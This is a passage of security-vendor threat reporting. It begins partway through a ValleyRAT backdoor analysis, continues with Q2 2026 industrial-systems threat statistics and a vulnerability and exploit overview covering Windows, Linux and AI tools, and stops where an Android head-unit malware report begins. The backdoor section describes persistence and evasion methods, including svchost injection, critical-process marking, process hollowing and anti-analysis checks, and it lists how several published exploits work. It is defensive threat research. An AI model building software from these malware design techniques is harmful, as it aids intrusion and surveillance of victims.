Once it has administrator privileges, the malicious code determines which process the DLL has been loaded into, and selects the payload accordingly:
If the library is running inside QnWallpaper.exe, the payload is loaded from the PeLoader file.
Encrypted payload
If the library is running inside QnwPlayer.exe, the payload is loaded from libcef.dll resources.
Retrieving the payload from a resource
Both payloads are AES-encrypted DLLs that contain the ValleyRAT backdoor. The only difference between them is their configuration, specifically, the C2 server addresses. After decryption, libcef.dll checks the magic signatures in the resulting PE file’s headers to confirm the sample is valid. If this check fails, the library releases its resources and takes no further action.
Validating the PE file headers after decryption
If the headers check out, libcef.dll loads the payload into the process’s memory space and hands control over to the backdoor by calling DllMain.
Calling DllMain
ValleyRAT
ValleyRAT begins its operation by parsing its configuration, which consists of key:value pairs concatenated into a single string. To obfuscate this configuration, the attackers wrote the string in reverse.
Obfuscated configuration
During parsing, the backdoor restores the correct character order and reads the key values one by one. The set of keys is the same regardless of which process the backdoor is running in.
Parsing the configuration
Some of the configuration fields are listed below:
Key
Description
p?
C2 server IP address
o?
C2 server port
t?
Protocol (1: TCP, 0: UDP)
dd
Sleep duration before executing the main code
cl
Sleep duration after receiving the corresponding command from the server
bz
Configuration creation date
bh
Whether to mark the current process as critical (so that terminating it triggers a blue screen of death) Possible values: 1: yes, 0: no
ll
Whether to check for running security/traffic-analysis tools/processes (1: check, 0: do not check)
sh
Whether to inject code into svchost that will restart the malicious process (1: inject, 0: do not inject)
The backdoor uses several techniques to protect its process. Some are configuration-dependent, while others are always applied:
Injecting code into svchost to restart the process: a configurable option. The backdoor allocates memory inside the svchost process, injects code into it, and sets PAGE_NOACCESS permissions on the memory page containing the injected data. It then creates a suspended thread, waits 60 seconds, grants read, write, and execute permissions on the page, and resumes the thread.
Injecting code into svchost
The function injected into the process has a single job: restart the backdoor if its execution is interrupted for any reason.
Injected function
Marking its own process as critical (so that terminating it triggers a blue screen of death): a configurable option.
Setting its own process as critical
Restarting on an unhandled exception. This protection mechanism is always active, regardless of the backdoor’s configuration.
Restarting on exceptions
The backdoor also has spyware functionality. While running, it tracks keystrokes and the currently focused window by using functions from the DirectInput8 library. It also captures clipboard contents. All collected data is saved to a file on disk.
Capturing clipboard data
If the ll key in the configuration is set to 1, ValleyRAT periodically checks for active windows belonging to applications that could be used to analyze processes or traffic. Window enumeration is done via the EnumWindows function, using the following callback:
Window name checks
After completing these checks, the backdoor collects system information, including:
Host name
Host IP addresses
User idle time
Detailed Windows version information (ProductName, EditionId, DisplayVersion)
Number of CPU cores
Free disk space
Graphics adapter
Currently focused window and its title
System bitness
Language settings
Path to the system directory
On command, the backdoor can perform the actions typical of this malware category:
Rebooting the computer
Shutting down the computer
Taking a screenshot
Wiping logs
Updating its C2 addresses
Downloading additional modules
Sending keylogger logs along with clipboard contents
Snippet of the command handler
Let’s take a closer look at the module-loading functionality. Upon receiving the corresponding command with a link from its operator, the backdoor downloads the file at that link and executes it. The download can come from either the C2 server or a third-party address.
The DownloadPeFile function is responsible for downloading a PE file
The DownloadAndExecute function calls DownloadPeFile, then launches the downloaded module
Additional modules can take the form of purpose-built dynamic libraries or shellcode. If the payload is shellcode, the backdoor uses process hollowing with svchost to launch the module.
Implementation of the process hollowing technique
If the module is a dynamic library, the backdoor loads the PE file into its own process, calls DllMain, and searches for a Main function among the exported functions. Once Main has been called, the library is unloaded from memory.
Calling DllMain after the backdoor loads the PE file
Targets and attribution
Over the course of 2026, we detected the ValleyRAT backdoor and its associated malware more than 100,000 times, with more than 1500 unique users affected, primarily in China and India.
This attack geography, combined with the use of the ValleyRAT backdoor, points to Silver Fox, a known operator of this malware family, as the likely group behind the campaign.
Conclusion
This case is a clear example of how adware and affiliate networks can turn out to be far more dangerous than they appear. ValleyRAT is a sophisticated backdoor capable of collecting sensitive data such as keystrokes and clipboard contents, taking screenshots, and delivering additional malicious modules. The attackers exploited a well-known adware application to run the backdoor under the guise of a signed process, which complicates detection.
Motivated by both cyberespionage and financial gain, Silver Fox targets organizations across multiple countries. To stay protected, organizations should keep employee cybersecurity awareness up to date and enforce clear policies on the use of third-party software on work devices.
For individual users, we recommend avoiding the installation of software with a questionable reputation, and, even more importantly, never adding such software to your security solutions’ exclusion lists.
In Q2 2026, the percentage of ICS computers on which malicious objects were blocked continued to decrease, falling to 19.15%, its lowest level since 2022.
Percentage of ICS computers on which malicious objects were blocked, Q3 2023–Q2 2026
Regionally, the percentages ranged from 8.1% in Northern Europe to 27.9% in Africa.
Regions ranked by percentage of attacked ICS computers
The figures increased in five regions over the quarter, most notably in East Asia (by 2.0 pp) and Africa (by 0.5 pp).
East Asia saw increases in percentages for all threats except miners. The region ranked first in terms of growth for malicious scripts and phishing pages, spyware, and viruses. East Asia also led in terms of growth in threats from the internet. The percentage of ICS computers on which email threats were blocked also increased.
Selected industries
The biometrics sector (26.44%) has traditionally led the rankings of industries and OT infrastructures surveyed in this report in terms of the percentage of ICS computers on which malicious objects were blocked. Biometric systems are characterized by the availability of internet access, extensive email use for data exchange and approvals (e.g. access granting), and, in many cases, minimal cybersecurity controls within the organizations that use them.
Industries ranked by percentage of ICS computers on which malicious objects were blocked
The biometrics sector ranked first among industries in terms of the following threat categories: malicious scripts and phishing pages, malicious documents, spyware, ransomware, and worms. The sector is also leading among industries in terms of email threats. At the same time, unlike other industries, the percentage of affected ICS computers for email threats in biometrics exceeds that for internet threats.
In all selected industries, the global average follows a downward trend.
Threat categories
In Q2 2026, Kaspersky security solutions blocked malware from 10,904 different malware families of various categories on industrial automation systems.
Over the quarter, the percentage of ICS computers on which malicious objects of the following categories were blocked increased: denylisted internet resources, malicious documents, worms, ransomware, and malware for AutoCAD.
Percentage of ICS computers on which the activity of malicious objects from various categories was blocked
Malicious scripts and phishing pages (JS and HTML)
Malicious scripts and phishing pages remained in first place in the threat category rankings based on the percentage of ICS computers on which the respective threats were blocked. In Q2 2026, the global average dropped to 5.42%.
Over the quarter, the figure for this category only increased in East Asia, rising by 0.93 pp to 4.86%. This is the second-highest figure in the region in the last three years.
In East Asia, the percentage of ICS computers affected by malicious scripts and phishing pages increased in all the industries surveyed, except construction. The highest figures were recorded for biometrics (9.01%) and building automation (6.49%).
Denylisted internet resources
In Q2 2026, denylisted internet resources rose in the threat category rankings from third to second place, displacing spyware. Globally, the percentage of ICS computers on which denylisted internet resources were blocked has been increasing for two quarters in row and reached 4.31%.
The figures increased in all regions over the quarter, most notably in Russia (by 1.33 pp). Moreover, Russia ranked first (5.17%) among the regions in terms of denylisted internet resources. Since 2022, the region has topped these rankings twice before, both times in Q2: in 2022 and 2024.
Among the selected industries in Russia, the highest figures for the denylisted internet resources were in the electric power (6.61%) and engineering and ICS integration (5.62%) industries.
Malicious documents (MSOffice + PDF)
Malicious documents ranked fourth in the threat category rankings by the percentage of ICS computers on which they were blocked. The percentage for this category decreased over the previous three quarters, reaching its lowest level in three years. However, in Q2 2026, it increased to 1.77%.
Over the quarter, the figures for malicious documents increased in seven regions, most notably in South America (by 1.35 pp) and Southern Europe (by 0.48 pp). These two regions are among the top three in terms of malicious documents, malicious scripts and phishing pages, as well as threats from email clients.
South America ranked second in the rankings of regions in terms of malicious documents. In Q2 2026, the percentage of ICS computers in the region on which this threat was blocked was 3.56%, which was the fourth highest in three years.
Among the selected industries in South America, the highest percentage of ICS computers on which malicious documents were blocked was in biometrics (6.67%).
Southern Europe ranked first in the rankings of regions in terms of malicious documents. In the previous quarter, the percentage of ICS computers in the region on which this threat was blocked was the lowest in three years, but in Q2 2026 it increased to 3.63%.
Among the selected industries in Southern Europe, the highest percentage of ICS computers on which malicious documents were blocked was once again in biometrics (11.48%).
Spyware
Spyware ranked third in the threat category rankings based on the percentage of ICS computers on which it was blocked. The percentage for this category (3.30%) is the lowest since 2022.
Over the quarter, the figures increased in three regions, most notably in East Asia (by 0.53 pp) and Southeast Asia (by 0.42 pp).
East Asia ranked third based on the figures for spyware (4.77%), behind Africa and Southeast Asia. This is the region’s highest rate since Q2 2025. Among the countries and territories in the region, the highest percentage of ICS computers on which spyware was blocked was in mainland China (6.61%). Among the selected industries in East Asia, the highest figures for spyware were in the electric power (11.75%) and manufacturing (5.87%) industries. In all the industries surveyed, the figures are higher than the regional average.
Southeast Asia ranked second after Africa in the ranking of regions in terms of spyware, with 5.32%. Among the selected industries in Southeast Asia, the highest figures for spyware were in biometrics (8.93%) and manufacturing (7.32%). The figures increased in all industries over the quarter.
Ransomware
The percentage of ICS computers on which ransomware was blocked decreased in the previous three quarters but increased to 0.16% in Q2 2026.
During the quarter, the percentage increased in all regions, except Western and Southern Europe and North America (Canada). Africa led the ranking in terms of growth for this metric.
In Q2 2026, Africa ranked first among the regions in terms of the percentage of ICS computers on which ransomware was blocked (0.29%). The only time the figure in the region was higher in the past three years was Q2 2025 (0.31%).
Among the selected industries in Africa, the highest figures for ransomware were in the electric power industry (0.72%) and biometrics (0.52%). Over the quarter, the figures increased in all industries, except manufacturing and construction. The biggest increase was recorded in the electric power industry.
In Russia, the percentage of ICS computers on which ransomware was blocked in biometric systems has increased for three consecutive quarters, reaching 1.22%. This is the highest level of ransomware across all industries in all regions.
Miners
In Q2 2026, the percentage of ICS computers on which miners were blocked was the lowest since 2021, for both miners in the form of executable files for Windows (0.48%) and web miners running in browsers (0.14%).
The figures for both categories decreased in all regions, except for Africa where figures for miners in the form of executable files for Windows increased slightly.
On average, the oil and gas industry led the rankings among the selected industries both in terms of miners in the form of executable files for the Windows OS (0.66%) and in terms of web miners (0.34%).
Worms
In Q2 2026, the percentage of ICS computers on which worms were blocked increased to 1.43%.
In Q2 2026, the Middle East (2.11%) was second (after Africa) in the rankings of regions in terms of worms, displacing Central Asia and the South Caucasus.
Among the selected industries in the Middle East, the highest percentage of ICS computers on which worms were blocked was in building automation (2.90%). Over the quarter, the figures increased in all industries.
Australia and New Zealand ranked 12th among the regions in terms of the percentage of ICS computers on which worms were blocked (0.41%). Over the past three years, the figure in this region was only higher in Q2 2024 (0.42%). The figures increased in all the surveyed industries in the region, most notably in manufacturing and electric power. As a result, for these industries they exceeded the regional average by 2.9 and 2.3 times, respectively.
Viruses
In Q2 2026, the percentage of ICS computers on which viruses were blocked decreased to 1.29%.
The top three regions for this metric remain unchanged: Southeast Asia (6.03%), Africa (4.22%), and East Asia (3.14%). These same regions lead the rankings in terms of malware for AutoCAD.
The figures increased in three regions: East Asia, Australia and New Zealand, and Africa, where it has been growing for four consecutive quarters and reached its highest value since 2022.
Among the selected industries in Africa, the highest percentage of ICS computers on which viruses were blocked was in construction (5.47%).
East Asia ranked third among the regions in terms of viruses, reaching the highest level in the region for the past three years. Among the countries and administrative regions of East Asia, mainland China is the clear leader in terms of viruses (5.07%).
Among the selected industries in East Asia, the highest percentage of ICS computers on which viruses were blocked was in construction (5.93%).
In Australia and New Zealand, the increase in the percentage of ICS computers on which viruses were blocked was primarily due to a 4.3-fold increase in the figure for the electric power industry: from 0.29% to 1.24%. For a region where the percentage of attacked ICS computers for all threats is 0.12%, this is a very high value.
Malware for AutoCAD
In Q2 2026, the percentage of ICS computers on which malware for AutoCAD was blocked increased to 0.31%.
The most notable increase over the quarter was observed in Africa. After more than doubling in the previous quarter, the figure for the region continued to rise (although not so dramatically), reaching 1.02%.
Among the selected industries across all regions, the highest percentage of ICS computers on which malware for AutoCAD was blocked was in construction in East Asia (6.38%) and in Southeast Asia (4.05%).
Main threat sources
In Q2 2026, of all the threat sources, the percentage increased only for email.
Percentage of ICS computers on which malicious objects from various sources were blocked
Internet
The percentage of ICS computers on which threats from the internet were blocked decreased to 7.61%, reaching its lowest level since 2021.
Over the quarter, the percentage increased in three regions: East Asia by 0.8 pp (to 6.3%), South Asia by 0.3 pp (to 10.4%), and Russia by 0.3 pp (to 6.4%).
Among the selected industries across all regions, the highest percentage of ICS computers on which threats from the internet were blocked was in biometrics (13.03%) and engineering and ICS integration (12.16%) in South Asia.
Email
The percentage of ICS computers on which email threats were blocked increased to 2.84%.
In Q2 2026, the percentage of ICS computers on which email threats were blocked increased in South America by 1.0 pp (to 5.2%) and in Africa by 0.7 pp (to 4.3%).
Among the selected industries across all regions, the highest percentage of ICS computers on which email threats were blocked was in biometrics (19.14%) and building automation (12.49%) in Southern Europe.
Removable media
The percentage of ICS computers on which threats from removable media were blocked continued to decrease, reaching 0.24%, the lowest value for the period under review.
Among the selected industries across all regions, the highest percentage of ICS computers on which threats from removable media were blocked was in the electric power industry in East Asia (1.34%) and biometrics in Africa (1.29%).
Network folders
The percentage of ICS computers on which threats from network folders were blocked continued to decrease. In Q2 2026, it was the lowest for the period under review, at 0.023%.
The only region to see an increase in the percentage of ICS computers on which threats from network folders were blocked during the quarter was Africa. This was mainly due to an increase in the building automation figure to 0.05%.
Among the selected industries across all regions, the highest percentage of ICS computers on which threats from network folders were blocked was in biometrics (0.23%), building automation (0.17%), and engineering and ICS integration (0.13%) in East Asia.
The vulnerability landscape shifted significantly in Q2 2026. First, the number of registered CVEs reached an unprecedented level. This is driven primarily by the widespread adoption of AI, both for application development and search for security flaws. This resulted in entire new classes of vulnerabilities emerging, particularly in the Linux networking subsystem.
Second, security researchers have been publishing exploits for unpatched vulnerabilities more frequently. Publications like these can generate significant fallout, since they potentially open the door for attackers to target unprotected systems.
Statistics on registered vulnerabilities
This section provides statistical data on registered vulnerabilities. The data comes from Kaspersky’s vulnerability knowledge base, which draws on the CVE database as well as the Russian BDU database and GitHub Advisory (GHSA). As a result, the figures for previous reporting periods may differ from those published in earlier reports.
We examine the number of registered vulnerabilities for each month over the last five years. As the chart below shows, this number continues to surge, a trend reflected across all the databases we track. It’s driven primarily by the widespread adoption of AI tools: as we predicted in our previous report, these tools have played a major role in the discovery of vulnerabilities in third-party software. Meanwhile, these tools often contain security issues of their own. For example, OpenClaw, a popular AI project, ranked 12th among those with the highest number of vulnerabilities discovered and published in Q2, with over 200 CVEs registered during the reporting period. Finally, AI development tools are also contributing to the vulnerability landscape, since the quality of the code they produce can vary widely. Therefore, the rate at which new vulnerabilities are discovered will inevitably keep growing.
Total published vulnerabilities per month from 2022 through 2026 (download)
Next, we analyze the number of new critical vulnerabilities (CVSS > 9.0) over the same period.
Total critical vulnerabilities published per month from 2022 through 2026 (download)
As the chart shows, the number of published critical vulnerabilities jumped sharply in Q2. This is because using AI for vulnerability research makes it possible to analyze massive amounts of previously unexamined code, uncover new attack surfaces, and identify entire classes of vulnerabilities that have gone unnoticed for decades. In particular, AI was used to find a series of Dirty Frag vulnerabilities in the Linux kernel.
Exploitation statistics
This section presents statistics on vulnerability exploitation for Q2 2026. The data draws on open sources and our telemetry.
Windows and Linux vulnerability exploitation
Q2 2026 saw a new precedent in the publication of vulnerabilities in Windows components and exploits for these: researchers no longer waiting for CVE registration, let alone patches. A case in point: a researcher who goes by Nightmare Eclipse (also known as Chaotic Eclipse) published a list of new “named” vulnerabilities across various Windows subsystems. At the time the technical details were published, none of the vulnerabilities had been assigned a CVE identifier:
BlueHammer: a local privilege escalation vulnerability in Windows Defender. During signature database updates, a time-of-check to time-of-use (TOCTOU) race condition occurs, allowing an attacker to substitute the directory where temporary update files are written. The researcher published a fully functional exploit for the vulnerability.
RedSun: another logical vulnerability in Windows Defender with a working exploit. Suspicious and malicious files marked as “cloud” can be overwritten or restored to their original directory with elevated privileges. The exploit incorporates fragments of algorithms that make it possible to leverage various logical vulnerabilities in Windows, effectively combining a large number of popular exploitation techniques.
YellowKey: a vulnerability that lets the user bypass BitLocker full-disk encryption and access system data through the Windows Recovery Environment (WinRE). A fully functional exploit was also published.
GreenPlasma: a vulnerability that enables system object injection via the CTF loader for the Collaborative Translation Framework (CTFMON) service in Windows. The original publication included an exploit with limited functionality.
RoguePlanet: yet another Windows Defender vulnerability that, like BlueHammer, stems from a TOCTOU issue, this time in the engine responsible for real-time system scanning. The published exploit uses the vulnerability to overwrite the system file wermgr.exe with a malicious one.
UnDefend: another vulnerability in the Windows Defender service. This time, the exploit causes a denial of service and blocks updates.
Even though such cases remain isolated for now, we believe they’ll grow into a full-fledged trend. Early publication of exploits gives attackers an advantage over software developers, who are left with no time to fix the issues.
Veteran vulnerabilities in Windows software also remain relevant. These are the ones our solutions most frequently detect exploits for:
CVE-2018-0802: a remote code execution (RCE) vulnerability in the Equation Editor component
CVE-2017-11882: another RCE vulnerability also affecting Equation Editor
CVE-2017-0199: a vulnerability in Microsoft Office and WordPad that allows an attacker to gain control over the system
CVE-2023-38831: a vulnerability in WinRAR that involves improper handling of objects within an archive
CVE-2025-6218 (formerly ZDI-CAN-27198): another WinRAR vulnerability allowing the specification of relative paths to extract files into arbitrary directories, potentially leading to malicious command execution
CVE-2025-8088: a vulnerability similar in exploitation method to CVE-2025-6218. The attackers used NTFS Streams to circumvent controls on the directory into which files are being unpacked
The vulnerabilities listed here can be leveraged to gain initial access to a vulnerable system and for privilege escalation. This underscores the critical importance of timely software updates.
That said, the number of Windows users who encountered exploits declined slightly in Q2, hitting an 18-month low.
Dynamics of the number of Windows users encountering exploits, Q1 2025 – Q2 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% (download)
Linux also hit a rough patch in Q2 2026. Specifically, the period saw the disclosure of the Dirty Frag family of vulnerabilities, which lets an attacker reliably escalate privileges within the operating system.
All the vulnerabilities published in Q2 2026 were, in one way or another, related to the Linux caching subsystem. Here are the ones being most actively exploited:
CVE-2026-31431 (Copy Fail): a local privilege escalation vulnerability in the Linux kernel that lets an unprivileged user modify the page cache and gain root privileges. Especially dangerous for cloud and containerized environments
CVE-2026-43284, CVE-2026-43500 (Dirty Frag): a family of vulnerabilities in the Linux networking subsystem (IPsec ESP and RxRPC) that lets a local user overwrite the page cache and escalate privileges to root
CVE-2026-46300 (Fragnesia): a local privilege escalation vulnerability in the Linux kernel related to packet fragment handling and the page cache mechanism. It lets an unprivileged user gain root privileges and is also classified as part of the Dirty Frag family
CVE-2026-31635 (DirtyDecrypt): a Linux kernel vulnerability that lets a local attacker escalate privileges due to improper handling of decryption operations and page cache data modification
CVE-2026-43494 (PinTheft): a Linux kernel vulnerability that lets a local user gain elevated privileges due to errors in the memory page pinning mechanism
CVE-2026-46331 (pedit COW): a vulnerability in the Linux kernel’s traffic control subsystem (tc-pedit) that exploits a flaw in copy-on-write to modify the page cache and subsequently escalate privileges to root
The vulnerabilities described above were quickly embraced by attackers. At the same time, our solutions continue to detect exploitation attempts targeting older vulnerabilities as well:
CVE-2022-0847: a vulnerability known as Dirty Pipe, which enables privilege escalation and the hijacking of running applications
CVE-2019-13272: a vulnerability caused by improper handling of privilege inheritance, which can be exploited to achieve privilege escalation
CVE-2021-22555: a heap out-of-bounds write vulnerability in the Netfilter kernel subsystem
CVE-2023-32233: another Netfilter subsystem vulnerability that allows for Use-After-Free conditions and privilege escalation through improper processing of network requests
Dynamics of the number of Linux users encountering exploits, Q1 2025 – Q2 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% (download)
In Q2 2026, the number of Linux users who encountered exploits declined slightly compared to Q1. Given that a significant share of new vulnerabilities are tied to the operating system’s caching subsystem, we recommend installing patches as quickly as possible, or disabling vulnerable kernel modules if patching isn’t an option.
Most common published exploits
The distribution of published exploits by software type in Q2 2026 includes categories that haven’t appeared in the sample for a long time. For instance, we’re once again seeing exploits targeting SharePoint. It’s worth noting that while several vulnerability write-ups for Exchange and SharePoint were published during the quarter, most turned out to be fake, AI-generated research. While the articles and exploit source code themselves look fairly polished, they describe nonexistent problems in the software or its components — often close to genuinely vulnerable mechanisms — in order to mislead researchers. This type of attack is aimed at increasing the time it takes to detect real vulnerabilities. In some cases, the description of a nonexistent vulnerability came bundled with completely unrelated malware.
Distribution of published exploits by platform, Q1 2026 (download)
Distribution of published exploits by platform, Q2 2026 (download)
Vulnerability exploitation in APT attacks
We analyzed which vulnerabilities were exploited in APT attacks during Q2 2026. The rankings provided below include data based on our telemetry, research, and open sources.
TOP 10 vulnerabilities exploited in APT attacks, Q2 2026 (download)
In Q2 2026, a trend emerged in APT attacks toward exploiting new vulnerabilities right from the moment they’re published. As before, we’re also seeing a large number of zero-day vulnerabilities. The Langflow vulnerability deserves particular attention: it’s one of the first cases of an APT group exploiting AI technology, which many organizations are only just beginning to integrate. Because most of this tech is proprietary, it has a considerable number of security blind spots. Therefore, given the growing number of AI-based automation tools, we strongly recommend going beyond the usual patching and developing secure procedures for credential use and sensitive data handling in systems that rely on agents and LLMs.
C2 frameworks
In this section, we examine the most popular C2 frameworks used by APT groups and analyze the vulnerabilities targeted by the exploits that interacted with C2 agents in APT attacks.
The chart below shows the frequency of known C2 framework usage in attacks during Q2 2026, according to open sources.
TOP 10 C2 frameworks used by APTs to compromise user systems, Q2 2026 (download)
Sliver, Havoc, AdaptixC2, and Metasploit remain the most widely used C2 frameworks. After studying open sources and analyzing samples of malicious C2 agents that contained exploits, we determined that the following vulnerabilities were utilized in APT attacks involving the C2 frameworks mentioned above:
CVE-2026-35273: a vulnerability in Oracle PeopleSoft PeopleTools that security vendors classify as server-side request forgery (SSRF). The details of the vulnerability have never been disclosed, although some research covers the post-exploitation steps
CVE-2023-46604: an insecure deserialization vulnerability in Apache ActiveMQ that allows arbitrary code execution in the context of the service process
CVE-2024-12356 and CVE-2026-1731: command injection vulnerabilities in BeyondTrust software that allow an attacker to send malicious commands even without system authentication
CVE-2023-36884: a vulnerability in the Windows Search component that allows commands to be run on the system, bypassing the mark-of-the-web (MoTW) mechanism
CVE-2025-53770: an insecure deserialization vulnerability in Microsoft SharePoint that allows for unauthenticated command execution on the server
CVE-2025-8088 and CVE-2025-6218: similar directory traversal vulnerabilities in WinRAR that allow files to be extracted from an archive to a predetermined path, potentially without the archiving utility displaying any alerts to the user
These vulnerabilities show that attackers used them for initial access and privilege escalation on vulnerable systems, setting the stage for launching a C2 agent. They include both zero-day vulnerabilities and fairly well-known security issues.
LLM/AI tool vulnerabilities
This section analyzes data published in Kaspersky’s vulnerability knowledge base. We reviewed the Q2 2026 version of the knowledge base.
As mentioned above, AI tools, plugins, and technologies have proven fairly effective at automating the search for problematic code and anomalous behavior. The high speed at which new vulnerabilities are being discovered has naturally created a need to fix them just as quickly. AI is often used for this too, which increases the volume of code being generated. However, neither code written without human involvement nor AI-generated advice is always correct.
The chart below covers registered vulnerabilities in AI tools for 2025–2026.
Number of published vulnerabilities in LLMs, AI tools, and plugins with similar functionality, 2025–2026 (download)
As the charts show, AI tools are racking up a substantial number of registered vulnerabilities, and that number keeps growing quarter over quarter. It’s also worth looking at how AI tool vulnerabilities break down by type, according to the CWE system:
TOP 6 vulnerability types in products that implement or use AI/LLM logic, 2025–2026
Interestingly, vulnerabilities of an undetermined type have ranked first in every quarter since the start of 2025. Traditionally-made software has the same issue, and it doesn’t look like the growing number of AI tools will fix it. It’s also notable that the list includes classes CWE developers themselves don’t recommend using for vulnerability classification, since they lump together a whole range of more specific types. CWE-284 is an example of this.
Looking at the most common classes, the key issues found in AI-related software can be summed up as follows:
Inadequate access control over critical system objects
Improper implementation of authentication and authorization mechanisms
Injections
It’s worth noting that injection-related vulnerabilities were relatively rare before AI agents took off (previously, they mostly affected web apps). Recently, though, these security issues have become relevant again.
Looking back at a year and a half of the AI boom, one conclusion stands out regarding registered vulnerabilities: AI tool developers are more focused on expanding functionality than on security. This is worth keeping in mind when using these tools. Let’s look at the projects and applications that either integrated AI tools or offered them as the core product. Below is a list of the those with the highest number of registered vulnerabilities for 2025–2026.
TOP AI/LLM-related projects by number of published vulnerabilities, 2025–2026 (download)
Notable vulnerabilities
This section highlights the most significant vulnerabilities published in Q2 2026 that have publicly available descriptions. Since the above already covers several significant vulnerabilities published during the reporting period, this section consists mainly of LLM/AI tool vulnerabilities.
CVE-2026-25253: a gatewayUrl vulnerability in OpenClaw
The issue stems from the fact that the OpenClaw user interface trusts the value of the gatewayUrl parameter passed in the URL and automatically establishes a WebSocket connection to the specified address. During this connection process, it sends an authentication token without any additional user confirmation.
The attack algorithm exploiting this vulnerability works as follows:
The application obtains a critical connection address from an external source (the gatewayUrl URL parameter), which is controlled by the attacker.
There is no validation before use.
The client automatically initiates a connection to the address specified in the parameter, which belongs to the attacker.
While connected, the application sends credentials (an access token) to the specified address.
If the attacker obtains a valid token, the consequences depend on that token’s level of access within the system. In general, this could lead to:
User session compromise
Execution of operations on the user’s behalf
Modification of the AI agent configuration
Unauthorized access to tools and resources connected to the agent
Under certain OpenClaw configurations, further compromise of the host running the agent
It’s worth noting that the risk of exploitation arises from a combination of several factors: the automatic connection and token transmission, the lack of address trust verification, and the high privileges granted to the local AI agent.
CVE-2026-41948: a path traversal vulnerability in the Dify AI platform
The vulnerability lets an authenticated user craft a request that enables the application to escape its permitted tenant and gain access to internal REST APIs that weren’t meant for that user. The root cause is insufficient normalization and validation of the URL path before it’s passed to the internal service.
Depending on the Dify configuration, the consequences can include:
Unauthorized access to internal service interfaces
Breach of isolation between workspaces
Exposure of internal service information
Conditions favorable to further attacks when combined with other vulnerabilities
The use of Dify in enterprise AI platforms is particularly risky, since internal services there tend to hold elevated privileges.
CVE-2026-45386: an improper access control vulnerability in Open WebUI
In Open WebUI, pin/unpin operations on messages are write operations, since they modify that message’s metadata (is_pinned, pinned_by, pinned_at). In vulnerable versions, however, before performing these actions, the API only checked for read access to the channel (a chat between a user or group and the AI) containing the message, not permission to modify its content. As a result, a user with a role limited to viewing messages could still change a message’s pinned status.
The vulnerability’s mechanism works as follows:
The user initiates an action that changes the state of an object.
The application treats this action as a regular read request.
Only channel view permission is checked.
The application performs a write without verifying the required user authorization.
This violates one of the fundamental principles of access control models — namely, that any operation that changes the state of data must be checked for the appropriate write or moderation permissions, regardless of whether the object itself is readable.
Although the vulnerability doesn’t lead to arbitrary code execution or compromise of sensitive data, it can affect data integrity and collaborative workflows. Potential consequences of exploitation include unauthorized pinning or unpinning of messages, disruption of channel moderators’ and administrators’ activities, changes to the display order of important information, and even the potential spread of false or misleading information by altering the channel containing a pinned message.
Open WebUI is widely used as an interface for interacting with local and enterprise LLMs. In these systems, pinned messages often contain important instructions, announcements, or tips for users. The ability to modify them with minimal privileges can disrupt collaborative workflows, cause confusion, and undermine trust in information published by administrators and moderators.
CVE-2026-45501: a vulnerability in Microsoft Exchange
The vulnerability stems from improper neutralization of user input when generating Exchange web pages. As a result, the browser may interpret specially crafted data as active content instead of plain text.
Although Microsoft categorizes the potential impact of exploiting this vulnerability as spoofing, flaws like this can lead to alteration of displayed content, imitation of trusted interfaces, actions on behalf of the user within an active session, and abuse of user trust.
It’s worth noting that issues like this are still relevant in modern software, given that mechanisms like Content Security Policy and various parsers were specifically created to help developers neutralize dangerous parts of user page content.
Conclusion and advice
Q2 brought the first significant results of AI automation adoption in software development and vulnerability hunting tools. This research shows that beyond traditional patch management, organizations now need real-time monitoring of systems and access controls, since infrastructure and everyday applications now contain far more AI functionality that could lead to compromise.
Accordingly, besides quickly detecting infrastructure vulnerabilities and managing security patches, modern enterprise-grade security solutions need to provide a broad range of preventive measures for tracking the overall health of systems and workstations. Kaspersky Next meets these requirements by combining proactive mechanisms with the ability to respond promptly to emerging threats.
While monitoring Android threats in June 2026, we discovered a new piece of Android malware. What struck us as unusual was that it installed like an ordinary user app yet made no attempt to disguise itself as legitimate software: it had no user interface at all. This led us to suspect the app might be reaching users’ devices without their knowledge. Further investigation confirmed that hypothesis and allowed us to reconstruct the entire infection chain.
Key findings:
We identified new Android malware: a multi-stage downloader whose ultimate purpose is ad fraud and creation of a proxy botnet.
The malware spread through the built-in updaters of Android-based automotive head unit firmware. This is the first documented case of malware found on a car head unit with an infection chain specific to that type of device.
We attribute this activity, with high confidence, to the MoYu Group, an actor linked to the BADBOX botnet.
Kaspersky solutions detect the threats described below under the following detection names:
HEUR:Trojan-Dropper.AndroidOS.Agent.vu
HEUR:Trojan-Downloader.AndroidOS.Agent.ov
HEUR:Trojan-Proxy.AndroidOS.Zhima.*
HEUR:Trojan.AndroidOS.Vo1d.*
Head unit firmware overview
A head unit is a system that combines multimedia functions with partial control over certain vehicle functions. Head units may come as part of a car’s factory equipment or as an aftermarket upgrade. The main attack vectors for these systems are compromise via physical access and vulnerabilities in the head unit’s OS or components, both of which we’ve covered previously.
In some cases, head units run on Android, primarily because it’s convenient for manufacturers: Android’s source code already accounts for use cases within automotive head units. Android also allows manufacturers to add their own system applications during the build process, which they can use for a range of purposes: customizing the UI, adding system components tailored to the vendor’s needs, and more.
Most apps developed for Android devices can also run on an Android-based head unit, and that is true for malware as well. That said, it’s hard to imagine certain categories of smartphone-targeted malware being used to attack a head unit. Banking Trojans are a good example: since mobile banking is used almost exclusively on smartphones, infecting a head unit with a banking Trojan would be a waste of the attacker’s resources.
It’s worth noting that head units often include SIM card slots and can connect to the internet, enabling features like navigation and software updates. Since a head unit typically holds nothing of value to an attacker, one of the more likely attack scenarios using “classic” Android malware is infecting the device to recruit it into a botnet – similar to attacks on IoT devices.
During our research, we found exactly that kind of malware. The design of firmware for DoFun head units enabled attackers to distribute malware. We notified the vendor about the distribution scheme, and they subsequently reported fixing the security issues.
Below is the entire infection chain:
Head unit infection scheme
Let’s look at exactly how these head units became infected.
The TWCore app
TWCore is a legitimate system application responsible for collecting analytics data and updating the head unit software. Let’s take a closer look at how the update function works.
The process is fairly simple. An MQTT message broker hosted on the subdomain cardoor[.]cn sends a message containing information about the APK files that need to be downloaded and installed on the head unit. Notably, the object describing this message includes an installNotExists field, a Boolean flag that can be set to true or false. This flag allows TWCore to install apps that weren’t originally present on the device.
TWCore only checks whether an app is already installed on the device when installNotExists = false
The APK file is downloaded to <TWCore external cache dir>/push/apk/ for installation.
The path TWCore uses to download APK files
Our telemetry revealed previously unknown malware at these file paths. On top of that, our data indicates that in every observed case, the malware was installed by an app with the package name com.tw.core, which matches the TWCore package name.
Next, we’ll break down the malware installed by TWCore: the JarService dropper.
Stage 1: the JarService dropper
